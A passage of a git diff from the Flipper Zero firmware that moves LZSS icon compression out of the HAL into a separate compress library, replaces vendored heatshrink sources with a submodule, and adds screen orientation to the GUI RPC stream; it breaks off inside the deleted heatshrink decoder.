icon_data = NULL; - furi_hal_compress_icon_decode(icon_get_data(icon), &icon_data); + compress_icon_decode(canvas->compress_icon, icon_get_data(icon), &icon_data); u8g2_DrawXBM(&canvas->fb, x, y, icon_get_width(icon), icon_get_height(icon), icon_data); } diff --git a/applications/services/gui/canvas_i.h b/applications/services/gui/canvas_i.h index 12cabfa7d..39e7021bc 100644 --- a/applications/services/gui/canvas_i.h +++ b/applications/services/gui/canvas_i.h @@ -7,6 +7,7 @@ #include "canvas.h" #include +#include /** Canvas structure */ @@ -17,6 +18,7 @@ struct Canvas { uint8_t offset_y; uint8_t width; uint8_t height; + CompressIcon* compress_icon; }; /** Allocate memory and initialize canvas diff --git a/applications/services/gui/gui.c b/applications/services/gui/gui.c index 24b48a837..392011620 100644 --- a/applications/services/gui/gui.c +++ b/applications/services/gui/gui.c @@ -250,6 +250,7 @@ static void gui_redraw(Gui* gui) { p->callback( canvas_get_buffer(gui->canvas), canvas_get_buffer_size(gui->canvas), + canvas_get_orientation(gui->canvas), p->context); } } while(false); diff --git a/applications/services/gui/gui.h b/applications/services/gui/gui.h index d7d73f27b..1b5987eda 100644 --- a/applications/services/gui/gui.h +++ b/applications/services/gui/gui.h @@ -27,7 +27,11 @@ typedef enum { } GuiLayer; /** Gui Canvas Commit Callback */ -typedef void (*GuiCanvasCommitCallback)(uint8_t* data, size_t size, void* context); +typedef void (*GuiCanvasCommitCallback)( + uint8_t* data, + size_t size, + CanvasOrientation orientation, + void* context); #define RECORD_GUI "gui" diff --git a/applications/services/rpc/rpc_gui.c b/applications/services/rpc/rpc_gui.c index c2af425e9..0c70702cf 100644 --- a/applications/services/rpc/rpc_gui.c +++ b/applications/services/rpc/rpc_gui.c @@ -33,8 +33,18 @@ typedef struct { uint32_t input_counter; } RpcGuiSystem; -static void - rpc_system_gui_screen_stream_frame_callback(uint8_t* data, size_t size, void* context) { +static const PB_Gui_ScreenOrientation rpc_system_gui_screen_orientation_map[] = { + [CanvasOrientationHorizontal] = PB_Gui_ScreenOrientation_HORIZONTAL, + [CanvasOrientationHorizontalFlip] = PB_Gui_ScreenOrientation_HORIZONTAL_FLIP, + [CanvasOrientationVertical] = PB_Gui_ScreenOrientation_VERTICAL, + [CanvasOrientationVerticalFlip] = PB_Gui_ScreenOrientation_VERTICAL_FLIP, +}; + +static void rpc_system_gui_screen_stream_frame_callback( + uint8_t* data, + size_t size, + CanvasOrientation orientation, + void* context) { furi_assert(data); furi_assert(context); @@ -44,6 +54,8 @@ static void furi_assert(size == rpc_gui->transmit_frame->content.gui_screen_frame.data->size); memcpy(buffer, data, size); + rpc_gui->transmit_frame->content.gui_screen_frame.orientation = + rpc_system_gui_screen_orientation_map[orientation]; furi_thread_flags_set(furi_thread_get_id(rpc_gui->transmit_thread), RpcGuiWorkerFlagTransmit); } @@ -53,12 +65,22 @@ static int32_t rpc_system_gui_screen_stream_frame_transmit_thread(void* context) RpcGuiSystem* rpc_gui = (RpcGuiSystem*)context; + uint32_t transmit_time = 0; while(true) { uint32_t flags = furi_thread_flags_wait(RpcGuiWorkerFlagAny, FuriFlagWaitAny, FuriWaitForever); + if(flags & RpcGuiWorkerFlagTransmit) { + transmit_time = furi_get_tick(); rpc_send(rpc_gui->session, rpc_gui->transmit_frame); + transmit_time = furi_get_tick() - transmit_time; + + // Guaranteed bandwidth reserve + uint32_t extra_delay = transmit_time / 20; + if(extra_delay > 500) extra_delay = 500; + if(extra_delay) furi_delay_tick(extra_delay); } + if(flags & RpcGuiWorkerFlagExit) { break; } diff --git a/assets/protobuf b/assets/protobuf index 646066023..1f6b4a08c 160000 --- a/assets/protobuf +++ b/assets/protobuf @@ -1 +1 @@ -Subproject commit 6460660237005d02d5c223835659b40e373bade9 +Subproject commit 1f6b4a08c5d05c2b17926a3ba79f60109638932f diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index e6fae33ee..40e23a747 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -57,7 +57,6 @@ Header,+,firmware/targets/furi_hal_include/furi_hal.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt_hid.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt_serial.h,, -Header,+,firmware/targets/furi_hal_include/furi_hal_compress.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_cortex.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_crypto.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_debug.h,, @@ -876,12 +875,12 @@ Function,-,furi_hal_clock_resume_tick,void, Function,-,furi_hal_clock_suspend_tick,void, Function,-,furi_hal_clock_switch_to_hsi,void, Function,-,furi_hal_clock_switch_to_pll,void, -Function,-,furi_hal_compress_alloc,FuriHalCompress*,uint16_t -Function,-,furi_hal_compress_decode,_Bool,"FuriHalCompress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" -Function,-,furi_hal_compress_encode,_Bool,"FuriHalCompress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" -Function,-,furi_hal_compress_free,void,FuriHalCompress* -Function,-,furi_hal_compress_icon_decode,void,"const uint8_t*, uint8_t**" -Function,-,furi_hal_compress_icon_init,void, +Function,-,compress_alloc,Compress*,uint16_t +Function,-,compress_decode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,-,compress_encode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,-,compress_free,void,Compress* +Function,-,compress_icon_decode,void,"const uint8_t*, uint8_t**" +Function,-,compress_icon_init,void, Function,+,furi_hal_console_disable,void, Function,+,furi_hal_console_enable,void, Function,+,furi_hal_console_init,void, diff --git a/firmware/targets/f18/furi_hal/furi_hal.c b/firmware/targets/f18/furi_hal/furi_hal.c index 2c255fa0d..4064dd647 100644 --- a/firmware/targets/f18/furi_hal/furi_hal.c +++ b/firmware/targets/f18/furi_hal/furi_hal.c @@ -1,5 +1,6 @@ #include #include +#include #include @@ -7,29 +8,20 @@ void furi_hal_init_early() { furi_hal_cortex_init_early(); - furi_hal_clock_init_early(); - furi_hal_resources_init_early(); - furi_hal_os_init(); - furi_hal_spi_config_init_early(); - furi_hal_i2c_init_early(); furi_hal_light_init(); - furi_hal_rtc_init_early(); } void furi_hal_deinit_early() { furi_hal_rtc_deinit_early(); - furi_hal_i2c_deinit_early(); furi_hal_spi_config_deinit_early(); - furi_hal_resources_deinit_early(); - furi_hal_clock_deinit_early(); } @@ -38,40 +30,24 @@ void furi_hal_init() { furi_hal_clock_init(); furi_hal_console_init(); furi_hal_rtc_init(); - furi_hal_interrupt_init(); - furi_hal_flash_init(); - furi_hal_resources_init(); - FURI_LOG_I(TAG, "GPIO OK"); - furi_hal_version_init(); - furi_hal_spi_config_init(); furi_hal_spi_dma_init(); - furi_hal_speaker_init(); - FURI_LOG_I(TAG, "Speaker OK"); - furi_hal_crypto_init(); - - // USB -#ifndef FURI_RAM_EXEC - furi_hal_usb_init(); - FURI_LOG_I(TAG, "USB OK"); -#endif - furi_hal_i2c_init(); - - // High Level furi_hal_power_init(); furi_hal_light_init(); + furi_hal_bt_init(); + furi_hal_memory_init(); + #ifndef FURI_RAM_EXEC + furi_hal_usb_init(); furi_hal_vibro_init(); #endif - furi_hal_bt_init(); - furi_hal_compress_icon_init(); } void furi_hal_switch(void* address) { diff --git a/firmware/targets/f18/furi_hal/furi_hal_resources.c b/firmware/targets/f18/furi_hal/furi_hal_resources.c index 41cc80bfb..abb258cb1 100644 --- a/firmware/targets/f18/furi_hal/furi_hal_resources.c +++ b/firmware/targets/f18/furi_hal/furi_hal_resources.c @@ -4,6 +4,8 @@ #include #include +#define TAG "FuriHalResources" + const GpioPin vibro_gpio = {.port = GPIOA, .pin = LL_GPIO_PIN_8}; const GpioPin ibutton_gpio = {.port = GPIOB, .pin = LL_GPIO_PIN_14}; @@ -198,6 +200,8 @@ void furi_hal_resources_init() { NVIC_SetPriority(EXTI15_10_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 5, 0)); NVIC_EnableIRQ(EXTI15_10_IRQn); + + FURI_LOG_I(TAG, "Init OK"); } int32_t furi_hal_resources_get_ext_pin_number(const GpioPin* gpio) { diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 7ac9a2459..8b1d29b1c 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -62,7 +62,6 @@ Header,+,firmware/targets/furi_hal_include/furi_hal.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt_hid.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt_serial.h,, -Header,+,firmware/targets/furi_hal_include/furi_hal_compress.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_cortex.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_crypto.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_debug.h,, @@ -1057,12 +1056,6 @@ Function,-,furi_hal_clock_resume_tick,void, Function,-,furi_hal_clock_suspend_tick,void, Function,-,furi_hal_clock_switch_to_hsi,void, Function,-,furi_hal_clock_switch_to_pll,void, -Function,-,furi_hal_compress_alloc,FuriHalCompress*,uint16_t -Function,-,furi_hal_compress_decode,_Bool,"FuriHalCompress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" -Function,-,furi_hal_compress_encode,_Bool,"FuriHalCompress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" -Function,-,furi_hal_compress_free,void,FuriHalCompress* -Function,-,furi_hal_compress_icon_decode,void,"const uint8_t*, uint8_t**" -Function,-,furi_hal_compress_icon_init,void, Function,+,furi_hal_console_disable,void, Function,+,furi_hal_console_enable,void, Function,+,furi_hal_console_init,void, diff --git a/firmware/targets/f7/furi_hal/furi_hal.c b/firmware/targets/f7/furi_hal/furi_hal.c index 5840a697e..1b710bb96 100644 --- a/firmware/targets/f7/furi_hal/furi_hal.c +++ b/firmware/targets/f7/furi_hal/furi_hal.c @@ -8,29 +8,20 @@ void furi_hal_init_early() { furi_hal_cortex_init_early(); - furi_hal_clock_init_early(); - furi_hal_resources_init_early(); - furi_hal_os_init(); - furi_hal_spi_config_init_early(); - furi_hal_i2c_init_early(); furi_hal_light_init(); - furi_hal_rtc_init_early(); } void furi_hal_deinit_early() { furi_hal_rtc_deinit_early(); - furi_hal_i2c_deinit_early(); furi_hal_spi_config_deinit_early(); - furi_hal_resources_deinit_early(); - furi_hal_clock_deinit_early(); } @@ -39,41 +30,24 @@ void furi_hal_init() { furi_hal_clock_init(); furi_hal_console_init(); furi_hal_rtc_init(); - furi_hal_interrupt_init(); - furi_hal_flash_init(); - furi_hal_resources_init(); - FURI_LOG_I(TAG, "GPIO OK"); - furi_hal_version_init(); furi_hal_region_init(); - furi_hal_spi_config_init(); furi_hal_spi_dma_init(); - furi_hal_ibutton_init(); - FURI_LOG_I(TAG, "iButton OK"); furi_hal_speaker_init(); - FURI_LOG_I(TAG, "Speaker OK"); - furi_hal_crypto_init(); - furi_hal_i2c_init(); - - // High Level furi_hal_power_init(); furi_hal_light_init(); - furi_hal_bt_init(); furi_hal_memory_init(); - furi_hal_compress_icon_init(); #ifndef FURI_RAM_EXEC - // USB furi_hal_usb_init(); - FURI_LOG_I(TAG, "USB OK"); furi_hal_vibro_init(); furi_hal_subghz_init(); furi_hal_nfc_init(); diff --git a/firmware/targets/f7/furi_hal/furi_hal_ibutton.c b/firmware/targets/f7/furi_hal/furi_hal_ibutton.c index c05cd69a8..f19fd0a0e 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_ibutton.c +++ b/firmware/targets/f7/furi_hal/furi_hal_ibutton.c @@ -7,6 +7,7 @@ #include +#define TAG "FuriHalIbutton" #define FURI_HAL_IBUTTON_TIMER TIM1 #define FURI_HAL_IBUTTON_TIMER_IRQ FuriHalInterruptIdTim1UpTim16 @@ -33,6 +34,8 @@ static void furi_hal_ibutton_emulate_isr() { void furi_hal_ibutton_init() { furi_hal_ibutton = malloc(sizeof(FuriHalIbutton)); furi_hal_ibutton->state = FuriHalIbuttonStateIdle; + + FURI_LOG_I(TAG, "Init OK"); } void furi_hal_ibutton_emulate_start( diff --git a/firmware/targets/f7/furi_hal/furi_hal_resources.c b/firmware/targets/f7/furi_hal/furi_hal_resources.c index c0eb9ee67..d0d85cb2d 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_resources.c +++ b/firmware/targets/f7/furi_hal/furi_hal_resources.c @@ -4,6 +4,8 @@ #include #include +#define TAG "FuriHalResources" + const GpioPin vibro_gpio = {.port = VIBRO_GPIO_Port, .pin = VIBRO_Pin}; const GpioPin ibutton_gpio = {.port = iBTN_GPIO_Port, .pin = iBTN_Pin}; @@ -190,6 +192,8 @@ void furi_hal_resources_init() { NVIC_SetPriority(EXTI15_10_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 5, 0)); NVIC_EnableIRQ(EXTI15_10_IRQn); + + FURI_LOG_I(TAG, "Init OK"); } int32_t furi_hal_resources_get_ext_pin_number(const GpioPin* gpio) { diff --git a/firmware/targets/f7/src/dfu.c b/firmware/targets/f7/src/dfu.c index f32ac2ac4..b060bc8d2 100644 --- a/firmware/targets/f7/src/dfu.c +++ b/firmware/targets/f7/src/dfu.c @@ -4,10 +4,11 @@ #include #include #include +#include void flipper_boot_dfu_show_splash() { // Initialize - furi_hal_compress_icon_init(); + CompressIcon* compress_icon = compress_icon_alloc(); u8g2_t* fb = malloc(sizeof(u8g2_t)); memset(fb, 0, sizeof(u8g2_t)); @@ -15,13 +16,15 @@ void flipper_boot_dfu_show_splash() { u8g2_InitDisplay(fb); u8g2_SetDrawColor(fb, 0x01); uint8_t* splash_data = NULL; - furi_hal_compress_icon_decode(icon_get_data(&I_DFU_128x50), &splash_data); + compress_icon_decode(compress_icon, icon_get_data(&I_DFU_128x50), &splash_data); u8g2_DrawXBM(fb, 0, 64 - 50, 128, 50, splash_data); u8g2_SetFont(fb, u8g2_font_helvB08_tr); u8g2_DrawStr(fb, 2, 8, "Update & Recovery Mode"); u8g2_DrawStr(fb, 2, 21, "DFU Started"); u8g2_SetPowerSave(fb, 0); u8g2_SendBuffer(fb); + + compress_icon_free(compress_icon); } void flipper_boot_dfu_exec() { diff --git a/firmware/targets/f7/src/recovery.c b/firmware/targets/f7/src/recovery.c index db538b0d5..d037e8118 100644 --- a/firmware/targets/f7/src/recovery.c +++ b/firmware/targets/f7/src/recovery.c @@ -4,6 +4,7 @@ #include #include #include +#include #define COUNTER_VALUE (136U) @@ -27,9 +28,9 @@ void flipper_boot_recovery_exec() { u8g2_Setup_st756x_flipper(fb, U8G2_R0, u8x8_hw_spi_stm32, u8g2_gpio_and_delay_stm32); u8g2_InitDisplay(fb); - furi_hal_compress_icon_init(); + CompressIcon* compress_icon = compress_icon_alloc(); uint8_t* splash_data = NULL; - furi_hal_compress_icon_decode(icon_get_data(&I_Erase_pin_128x64), &splash_data); + compress_icon_decode(compress_icon, icon_get_data(&I_Erase_pin_128x64), &splash_data); u8g2_ClearBuffer(fb); u8g2_SetDrawColor(fb, 0x01); @@ -38,6 +39,7 @@ void flipper_boot_recovery_exec() { u8g2_DrawXBM(fb, 0, 0, 128, 64, splash_data); u8g2_SendBuffer(fb); u8g2_SetPowerSave(fb, 0); + compress_icon_free(compress_icon); size_t counter = COUNTER_VALUE; while(counter) { diff --git a/firmware/targets/furi_hal_include/furi_hal.h b/firmware/targets/furi_hal_include/furi_hal.h index ad4340dd4..2eb4688d4 100644 --- a/firmware/targets/furi_hal_include/furi_hal.h +++ b/firmware/targets/furi_hal_include/furi_hal.h @@ -33,7 +33,6 @@ struct STOP_EXTERNING_ME {}; #include #include #include -#include #include #include #include diff --git a/firmware/targets/furi_hal_include/furi_hal_compress.h b/firmware/targets/furi_hal_include/furi_hal_compress.h deleted file mode 100644 index f80aee516..000000000 --- a/firmware/targets/furi_hal_include/furi_hal_compress.h +++ /dev/null @@ -1,87 +0,0 @@ -/** - * @file furi_hal_compress.h - * LZSS based compression HAL API - */ -#pragma once - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** Defines encoder and decoder window size */ -#define FURI_HAL_COMPRESS_EXP_BUFF_SIZE_LOG (8) - -/** Defines encoder and decoder lookahead buffer size */ -#define FURI_HAL_COMPRESS_LOOKAHEAD_BUFF_SIZE_LOG (4) - -/** FuriHalCompress control structure */ -typedef struct FuriHalCompress FuriHalCompress; - -/** Initialize icon decoder - */ -void furi_hal_compress_icon_init(); - -/** Icon decoder - * - * @param icon_data pointer to icon data - * @param decoded_buff pointer to decoded buffer - */ -void furi_hal_compress_icon_decode(const uint8_t* icon_data, uint8_t** decoded_buff); - -/** Allocate encoder and decoder - * - * @param compress_buff_size size of decoder and encoder buffer to allocate - * - * @return FuriHalCompress instance - */ -FuriHalCompress* furi_hal_compress_alloc(uint16_t compress_buff_size); - -/** Free encoder and decoder - * - * @param compress FuriHalCompress instance - */ -void furi_hal_compress_free(FuriHalCompress* compress); - -/** Encode data - * - * @param compress FuriHalCompress instance - * @param data_in pointer to input data - * @param data_in_size size of input data - * @param data_out maximum size of output data - * @param data_res_size pointer to result output data size - * - * @return true on success - */ -bool furi_hal_compress_encode( - FuriHalCompress* compress, - uint8_t* data_in, - size_t data_in_size, - uint8_t* data_out, - size_t data_out_size, - size_t* data_res_size); - -/** Decode data - * - * @param compress FuriHalCompress instance - * @param data_in pointer to input data - * @param data_in_size size of input data - * @param data_out maximum size of output data - * @param data_res_size pointer to result output data size - * - * @return true on success - */ -bool furi_hal_compress_decode( - FuriHalCompress* compress, - uint8_t* data_in, - size_t data_in_size, - uint8_t* data_out, - size_t data_out_size, - size_t* data_res_size); - -#ifdef __cplusplus -} -#endif diff --git a/lib/err.h b/lib/err.h new file mode 100644 index 000000000..a0e93874e --- /dev/null +++ b/lib/err.h @@ -0,0 +1,4 @@ +#pragma once +#include + +#define err(...) FURI_LOG_E("Heatshrink", "Error: %d-%s", __VA_ARGS__) \ No newline at end of file diff --git a/lib/heatshrink b/lib/heatshrink new file mode 160000 index 000000000..7398ccc91 --- /dev/null +++ b/lib/heatshrink @@ -0,0 +1 @@ +Subproject commit 7398ccc91652a33483245200cfa1a83b073bc206 diff --git a/lib/heatshrink/heatshrink_common.h b/lib/heatshrink/heatshrink_common.h deleted file mode 100644 index 243f44702..000000000 --- a/lib/heatshrink/heatshrink_common.h +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef HEATSHRINK_H -#define HEATSHRINK_H - -#define HEATSHRINK_AUTHOR "Scott Vokes " -#define HEATSHRINK_URL "https://github.com/atomicobject/heatshrink" - -/* Version 0.4.1 */ -#define HEATSHRINK_VERSION_MAJOR 0 -#define HEATSHRINK_VERSION_MINOR 4 -#define HEATSHRINK_VERSION_PATCH 1 - -#define HEATSHRINK_MIN_WINDOW_BITS 4 -#define HEATSHRINK_MAX_WINDOW_BITS 15 - -#define HEATSHRINK_MIN_LOOKAHEAD_BITS 3 - -#define HEATSHRINK_LITERAL_MARKER 0x01 -#define HEATSHRINK_BACKREF_MARKER 0x00 - -#endif diff --git a/lib/heatshrink/heatshrink_config.h b/lib/heatshrink/heatshrink_config.h deleted file mode 100644 index 7f2373c0d..000000000 --- a/lib/heatshrink/heatshrink_config.h +++ /dev/null @@ -1,28 +0,0 @@ -#ifndef HEATSHRINK_CONFIG_H -#define HEATSHRINK_CONFIG_H - -#include - -/* Should functionality assuming dynamic allocation be used? */ -#ifndef HEATSHRINK_DYNAMIC_ALLOC -#define HEATSHRINK_DYNAMIC_ALLOC 1 -#endif - -#if HEATSHRINK_DYNAMIC_ALLOC - /* Optional replacement of malloc/free */ - #define HEATSHRINK_MALLOC(SZ) malloc(SZ) - #define HEATSHRINK_FREE(P, SZ) free(P) -#else - /* Required parameters for static configuration */ - #define HEATSHRINK_STATIC_INPUT_BUFFER_SIZE 1024 - #define HEATSHRINK_STATIC_WINDOW_BITS 8 - #define HEATSHRINK_STATIC_LOOKAHEAD_BITS 4 -#endif - -/* Turn on logging for debugging. */ -#define HEATSHRINK_DEBUGGING_LOGS 0 - -/* Use indexing for faster compression. (This requires additional space.) */ -#define HEATSHRINK_USE_INDEX 1 - -#endif diff --git a/lib/heatshrink/heatshrink_decoder.c b/lib/heatshrink/heatshrink_decoder.c deleted file mode 100644 index 287828367..000000000 --- a/lib/heatshrink/heatshrink_decoder.c +++ /dev/null @@ -1,364 +0,0 @@ -#include -#include -#include "heatshrink_decoder.h" - -/* States for the polling state machine. */ -typedef enum { - HSDS_TAG_BIT, /* tag bit */ - HSDS_YIELD_LITERAL, /* ready to yield literal byte */ - HSDS_BACKREF_INDEX_MSB, /* most significant byte of index */ - HSDS_BACKREF_INDEX_LSB, /* least significant byte of index */ - HSDS_BACKREF_COUNT_MSB, /* most significant byte of count */ - HSDS_BACKREF_COUNT_LSB, /* least significant byte of count */ - HSDS_YIELD_BACKREF, /* ready to yield back-reference */ -} HSD_state; - -#if HEATSHRINK_DEBUGGING_LOGS -#include -#include -#include -#define LOG(...) fprintf(stderr, __VA_ARGS__) -#define ASSERT(X) assert(X) -static const char *state_names[] = { - "tag_bit", - "yield_literal", - "backref_index_msb", - "backref_index_lsb", - "backref_count_msb", - "backref_count_lsb", - "yield_backref", -}; -#else -#define LOG(...) /* no-op */ -#define ASSERT(X) /* no-op */ -#endif - -typedef struct { - uint8_t *buf; /* output buffer */ - size_t buf_size; /* buffer size */ - size_t *output_size; /* bytes pushed to buffer, so far */ -} output_info; - -#define NO_BITS ((uint16_t)-1) - -/* Forward references. */ -static uint16_t get_bits(heatshrink_decoder *hsd, uint8_t count); -static void push_byte(heatshrink_decoder *hsd, output_info *oi, uint8_t byte); - -#if HEATSHRINK_DYNAMIC_ALLOC -heatshrink_decoder *heatshrink_decoder_alloc(uint8_t* buffer, - uint16_t input_buffer_size, - uint8_t window_sz2, - uint8_t lookahead_sz2) { - if ((window_sz2 < HEATSHRINK_MIN_WINDOW_BITS) || - (window_sz2 > HEATSHRINK_MAX_WINDOW_BITS) || - (input_buffer_size == 0) || - (lookahead_sz2 < HEATSHRINK_MIN_LOOKAHEAD_BITS) || - (lookahead_sz2 >= window_sz2)) { - return NULL; - } - size_t sz = sizeof(heatshrink_decoder); - heatshrink_decoder *hsd = HEATSHRINK_MALLOC(sz); - if (hsd == NULL) { return NULL; } - hsd->input_buffer_size = input_buffer_size; - hsd->window_sz2 = window_sz2; - hsd->lookahead_sz2 = lookahead_sz2; - hsd->buffers = buffer; - heatshrink_decoder_reset(hsd); - LOG("-- allocated decoder with buffer size of %zu (%zu + %u + %u)\n", - sz, sizeof(heatshrink_decoder), (1 << window_sz2), input_buffer_size); - return hsd; -} - -void heatshrink_decoder_free(heatshrink_decoder *hsd) { - size_t sz = sizeof(heatshrink_decoder); - HEATSHRINK_FREE(hsd, sz); - (void)sz; /* may not be used by free */ -} -#endif - -void heatshrink_decoder_reset(heatshrink_decoder *hsd) { - hsd->state = HSDS_TAG_BIT; - hsd->input_size = 0; - hsd->input_index = 0; - hsd->bit_index = 0x00; - hsd->current_byte = 0x00; - hsd->output_count = 0; - hsd->output_index = 0; - hsd->head_index = 0; -} - -/* Copy SIZE bytes into the decoder's input buffer, if it will fit. */ -HSD_sink_res heatshrink_decoder_sink(heatshrink_decoder *hsd, - uint8_t *in_buf, size_t size, size_t *input_size) { - if ((hsd == NULL) || (in_buf == NULL) || (input_size == NULL)) { - return HSDR_SINK_ERROR_NULL; - } - - size_t rem = HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(hsd) - hsd->input_size; - if (rem == 0) { - *input_size = 0; - return HSDR_SINK_FULL; - } - - size = rem < size ? rem : size; - LOG("-- sinking %zd bytes\n", size); - /* copy into input buffer (at head of buffers) */ - memcpy(&hsd->buffers[hsd->input_size], in_buf, size); - hsd->input_size += size; - *input_size = size; - return HSDR_SINK_OK; -} - - -/***************** - * Decompression * - *****************/ - -#define BACKREF_COUNT_BITS(HSD) (HEATSHRINK_DECODER_LOOKAHEAD_BITS(HSD)) -#define BACKREF_INDEX_BITS(HSD) (HEATSHRINK_DECODER_WINDOW_BITS(HSD)) - -// States -static HSD_state st_tag_bit(heatshrink_decoder *hsd); -static HSD_state st_yield_literal(heatshrink_decoder *hsd, - output_info *oi); -static HSD_state st_backref_index_msb(heatshrink_decoder *hsd); -static HSD_state st_backref_index_lsb(heatshrink_decoder *hsd); -static HSD_state st_backref_count_msb(heatshrink_decoder *hsd); -static HSD_state st_backref_count_lsb(heatshrink_decoder *hsd); -static HSD_state st_yield_backref(heatshrink_decoder *hsd, - output_info *oi); - -HSD_poll_res heatshrink_decoder_poll(heatshrink_decoder *hsd, - uint8_t *out_buf, size_t out_buf_size, size_t *output_size) { - if ((hsd == NULL) || (out_buf == NULL) || (output_size == NULL)) { - return HSDR_POLL_ERROR_NULL; - } - *output_size = 0; - - output_info oi; - oi.buf = out_buf; - oi.buf_size = out_buf_size; - oi.output_size = output_size; - - while (1) { - LOG("-- poll, state is %d (%s), input_size %d\n", - hsd->state, state_names[hsd->state], hsd->input_size); - uint8_t in_state = hsd->state; - switch (in_state) { - case HSDS_TAG_BIT: - hsd->state = st_tag_bit(hsd); - break; - case HSDS_YIELD_LITERAL: - hsd->state = st_yield_literal(hsd, &oi); - break; - case HSDS_BACKREF_INDEX_MSB: - hsd->state = st_backref_index_msb(hsd); - break; - case HSDS_BACKREF_INDEX_LSB: - hsd->state = st_backref_index_lsb(hsd); - break; - case HSDS_BACKREF_COUNT_MSB: - hsd->state = st_backref_count_msb(hsd); - break; - case HSDS_BACKREF_COUNT_LSB: - hsd->state = st_backref_count_lsb(hsd); - break; - case HSDS_YIELD_BACKREF: - hsd->state = st_yield_backref(hsd, &oi); - break; - default: - return HSDR_POLL_ERROR_UNKNOWN; - } - - /* If the current state cannot advance, check if input or output - * buffer are exhausted. */ - if (hsd->state == in_state) { - if (*output_size == out_buf_size) { return HSDR_POLL_MORE; } - return HSDR_POLL_EMPTY; - } - } -} - -static HSD_state st_tag_bit(heatshrink_decoder *hsd) { - uint32_t bits = get_bits(hsd, 1); // get tag bit - if (bits == NO_BITS) { - return HSDS_TAG_BIT; - } else if (bits) { - return HSDS_YIELD_LITERAL; - } else if (HEATSHRINK_DECODER_WINDOW_BITS(hsd) > 8) { - return HSDS_BACKREF_INDEX_MSB; - } else { - hsd->output_index = 0; - return HSDS_BACKREF_INDEX_LSB; - } -} - -static HSD_state st_yield_literal(heatshrink_decoder *hsd, - output_info *oi) { - /* Emit a repeated section from the window buffer, and add it (again) - * to the window buffer. (Note that the repetition can include - * itself.)*/ - if (*oi->output_size < oi->buf_size) { - uint16_t byte = get_bits(hsd, 8); - if (byte == NO_BITS) { return HSDS_YIELD_LITERAL; } /* out of input */ - uint8_t *buf = &hsd->buffers[HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(hsd)]; - uint16_t mask = (1 << HEATSHRINK_DECODER_WINDOW_BITS(hsd)) - 1; - uint8_t c = byte & 0xFF; - LOG("-- emitting literal byte 0x%02x ('%c')\n", c, isprint(c) ? c : '.'); - buf[hsd->head_index++ & mask] = c; - push_byte(hsd, oi, c); - return HSDS_TAG_BIT; - } else { - return HSDS_YIELD_LITERAL; - } -} - -static HSD_state st_backref_index_msb(heatshrink_decoder *hsd) { - uint8_t bit_ct = BACKREF_INDEX_BITS(hsd); - ASSERT(bit_ct > 8); - uint16_t bits = get_bits(hsd, bit_ct - 8); - LOG("-- backref index (msb), got 0x%04x (+1)\n", bits); - if (bits == NO_BITS) { return HSDS_BACKREF_INDEX_MSB; } - hsd->output_index = bits << 8; - return HSDS_BACKREF_INDEX_LSB; -} - -static HSD_state st_backref_index_lsb(heatshrink_decoder *hsd) { - uint8_t bit_ct = BACKREF_INDEX_BITS(hsd); - uint16_t bits = get_bits(hsd, bit_ct < 8 ? bit_ct : 8); - LOG("-- backref index (lsb), got 0x%04x (+1)\n", bits); - if (bits == NO_BITS) { return HSDS_BACKREF_INDEX_LSB; } - hsd->output_index |= bits; - hsd->output_index++; - uint8_t br_bit_ct = BACKREF_COUNT_BITS(hsd); - hsd->output_count = 0; - return (br_bit_ct > 8) ? HSDS_BACKREF_COUNT_MSB : HSDS_BACKREF_COUNT_LSB; -} - -static HSD_state st_backref_count_msb(heatshrink_decoder *hsd) { - uint8_t br_bit_ct = BACKREF_COUNT_BITS(hsd); - ASSERT(br_bit_ct > 8); - uint16_t bits = get_bits(hsd, br_bit_ct - 8); - LOG("-- backref count (msb), got 0x%04x (+1)\n", bits); - if (bits == NO_BITS) { return HSDS_BACKREF_COUNT_MSB; } - hsd->output_count = bits << 8; - return HSDS_BACKREF_COUNT_LSB; -} - -static HSD_state st_backref_count_lsb(heatshrink_decoder *hsd) { - uint8_t br_bit_ct = BACKREF_COUNT_BITS(hsd); - uint16_t bits = get_bits(hsd, br_bit_ct < 8 ? br_bit_ct : 8); - LOG("-- backref count (lsb), got 0x%04x (+1)\n", bits); - if (bits == NO_BITS) { return HSDS_BACKREF_COUNT_LSB; } - hsd->output_count |= bits; - hsd->output_count++; - return HSDS_YIELD_BACKREF; -} - -static HSD_state st_yield_backref(heatshrink_decoder *hsd, - output_info *oi) { - size_t count = oi->buf_size - *oi->output_size; - if (count > 0) { - size_t i = 0; - if (hsd->output_count < count) count = hsd->output_count; - uint8_t *buf = &hsd->buffers[HEATSHRINK_DECODER_INPUT_BUFFER_SIZE(hsd)]; - uint16_t mask = (1 << HEATSHRINK_DECODER_WINDOW_BITS(hsd)) - 1; - uint16_t neg_offset = hsd->output_index; - LOG("-- 